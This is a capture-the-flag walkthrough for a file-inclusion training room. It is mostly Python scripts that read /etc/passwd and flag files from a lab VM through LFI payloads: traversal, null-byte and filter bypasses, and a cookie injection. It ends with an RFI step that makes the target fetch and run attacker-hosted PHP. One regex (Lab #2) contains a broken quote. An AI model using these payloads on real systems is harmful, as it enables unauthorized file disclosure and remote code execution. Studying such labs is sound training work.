Link: https://tryhackme.com/room/fileinc

This room introduces file inclusion vulnerabilities, including Local File Inclusion (LFI), Remote File Inclusion (RFI), and directory traversal.

I have solved all the challenges using python. So, feel free to run the code and check if it is successful for you as well.

Task 1 Introduction

Task 2 Deploy the VM

Task 3 Path Traversal

Task 4 Local File Inclusion — LFI

Lab #1

• Use the code below to get the flag

import requests
import re
pattern = re.compile(rb"<code>(.*?)</code>", re.DOTALL)
def LFI(url, parameter):
    payload = ''
    response = requests.get(f"{url}?{parameter}={payload}")
    if response.status_code == 200 and b"Warning" in response.content and b"include()" in response.content:
        print("*** Found LFI***")
        payload = '/etc/passwd'
        response = requests.get(f"{url}?{parameter}={payload}")
        data = (response.content)
        matches = pattern.findall(data)
        print(matches[1].decode("utf-8"))
def main():
    ip = '10.10.72.183'
    url = 'http://'+ip+'/'
    response = requests.get(url)
    url = url + 'lab1.php'
    parameter = 'file'
    if response.status_code == 200:
        LFI(url,parameter)
    else:
        print("Error, check the URL")
if __name__ == "__main__":
    main()

Lab #2

import requests
import re
pattern = re.compile(rb"include\((.*?)/"",re.DOTALL)
def LFI(url, parameter):
    payload = ''
    response = requests.get(f"{url}?{parameter}={payload}")
    if response.status_code == 200 and b"Warning" in response.content and b"include()" in response.content:
        print("*** Found Folder***")
        payload = '"'
        response = requests.get(f"{url}?{parameter}={payload}")
        data = (response.content)
        matches = pattern.findall(data)
        print(matches[0].decode("utf-8"))
def main():
    ip = '10.10.72.183'
    url = 'http://'+ip+'/'
    response = requests.get(url)
    url = url + 'lab2.php'
    parameter = 'file'
    if response.status_code == 200:
        LFI(url,parameter)
    else:
        print("Error, check the URL")
if __name__ == "__main__":
    main()

Task 5 Local File Inclusion — LFI #2

Lab #3

import requests
import re
pattern = re.compile(rb"<code>(.*?)</code>", re.DOTALL)
def LFI(url, parameter):
    payload = ''
    response = requests.get(f"{url}?{parameter}={payload}")
    if response.status_code == 200 and b"Warning" in response.content and b"include()" in response.content:
        print("*** Found LFI***")
        payload = '../../../../etc/passwd%00'
        response = requests.get(f"{url}?{parameter}={payload}")
        data = (response.content)
        matches = pattern.findall(data)
        print(matches[1].decode("utf-8"))
def main():
    ip = '10.10.72.183'
    url = 'http://'+ip+'/'
    response = requests.get(url)
    url = url + 'lab3.php'
    parameter = 'file'
    if response.status_code == 200:
        LFI(url,parameter)
    else:
        print("Error, check the URL")
if __name__ == "__main__":
    main()

Lab #4

import requests
def LFI(url, parameter):
    payload = ''
    response = requests.get(f"{url}?{parameter}={payload}")
    if response.status_code == 200 and b"file_get_contents" in response.content:
        print("*** Found Function***")
        print("file_get_contents")
def main():
    ip = '10.10.72.183'
    url = 'http://'+ip+'/'
    response = requests.get(url)
    url = url + 'lab4.php'
    parameter = 'file'
    if response.status_code == 200:
        LFI(url,parameter)
    else:
        print("Error, check the URL")
if __name__ == "__main__":
    main()

Lab #5

import requests
import re
pattern = re.compile(rb"<code>(.*?)</code>", re.DOTALL)
def LFI(url, parameter):
    payload = ''
    response = requests.get(f"{url}?{parameter}={payload}")
    if response.status_code == 200 and b"Warning" in response.content and b"include()" in response.content:
        print("*** Found LFI***")
        payload = '....//....//....//....//etc/passwd'
        response = requests.get(f"{url}?{parameter}={payload}")
        data = (response.content)
        matches = pattern.findall(data)
        print(matches[1].decode("utf-8"))
def main():
    ip = '10.10.72.183'
    url = 'http://'+ip+'/'
    response = requests.get(url)
    url = url + 'lab5.php'
    parameter = 'file'
    if response.status_code == 200:
        LFI(url,parameter)
    else:
        print("Error, check the URL")
if __name__ == "__main__":
    main()

Lab #6

import requests
import re
pattern = re.compile(rb"<code>(.*?)</code>", re.DOTALL)
def LFI(url, parameter):
    payload = ''
    response = requests.get(f"{url}?{parameter}={payload}")
    if response.status_code == 200 and b"Access Denied" in response.content:
        print("*** Found LFI***")
        payload = 'THM-profile/../../../../etc/os-release'
        response = requests.get(f"{url}?{parameter}={payload}")
        data = (response.content)
        matches = pattern.findall(data)
        print(matches[1].decode("utf-8"))
def main():
    ip = '10.10.72.183'
    url = 'http://'+ip+'/'
    response = requests.get(url)
    url = url + 'lab6.php'
    parameter = 'file'
    if response.status_code == 200:
        LFI(url,parameter)
    else:
        print("Error, check the URL")
if __name__ == "__main__":
    main()

Task 6 Remote File Inclusion — RFI

Task 7 Remediation

Task 8 Challenge

flag1

import requests
import re
pattern = re.compile(rb"<code>(.*?)</code>", re.DOTALL)
def main():
    url = 'http://10.10.72.183/challenges/chall1.php'
    data = {"file":"/etc/flag1"}
    response = requests.post(url, data)
    data = (response.content)
    matches = pattern.findall(data)
    print(matches[1].decode("utf-8"))
if __name__ == '__main__':
    main()

flag2

import requests
import re
pattern = re.compile(rb"<code>.*</div>(.*?)</code>", re.DOTALL)
def main():
    url = 'http://10.10.72.183/challenges/chall2.php'
    cookie = {"THM":"../../../../etc/flag2%00"}
    response = requests.get(url, cookies=cookie)
    data = (response.content)
    matches = pattern.findall(data)
    print(matches[0].decode("utf-8"))
if __name__ == '__main__':
    main()

flag3

import requests
import re
pattern = re.compile(rb"<code>(.*?)</code>", re.DOTALL)
def main():
    url = 'http://10.10.72.183/challenges/chall3.php'
    data = {"file":"../../../../etc/flag3\x00"}
    response = requests.post(url, data)
    data = (response.content)
    matches = pattern.findall(data)
    print(matches[1].decode("utf-8"))
if __name__ == '__main__':
    main()

RCE

rce.txt

<?PHP
    echo system('hostname')
?>

rce.py

import requests
import re
pattern = re.compile(rb"<code>(.*?)</code>", re.DOTALL)
def main():
    url = 'http://10.10.72.183/playground.php?file=http://10.13.22.219:8000/rce.txt'
    response = requests.get(url)
    data = (response.content)
    matches = pattern.findall(data)
    print(matches[1].decode("utf-8"))
if __name__ == '__main__':
    main()

Hay Yay!!!

Please give me a clap if you found it to be helpful and follow me to get more Security knowledge.